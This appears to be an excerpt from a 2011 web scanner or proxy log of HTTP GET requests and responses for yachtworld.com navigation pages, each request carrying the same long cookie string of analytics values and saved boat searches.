boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:58:57 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Language: en-us
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US"> <head> <title>Boating and Marine Products and Services - YachtWorld.co ...[SNIP]...
GET /core/globalnav/contactUs.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:24 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/globalnav/copyright.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:31 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 02 Dec 2010 00:46:40 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/globalnav/emailForm.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:18 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/globalnav/help.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:28 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/globalnav/localeSelect.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:57:14 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /core/globalnav/privacy.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 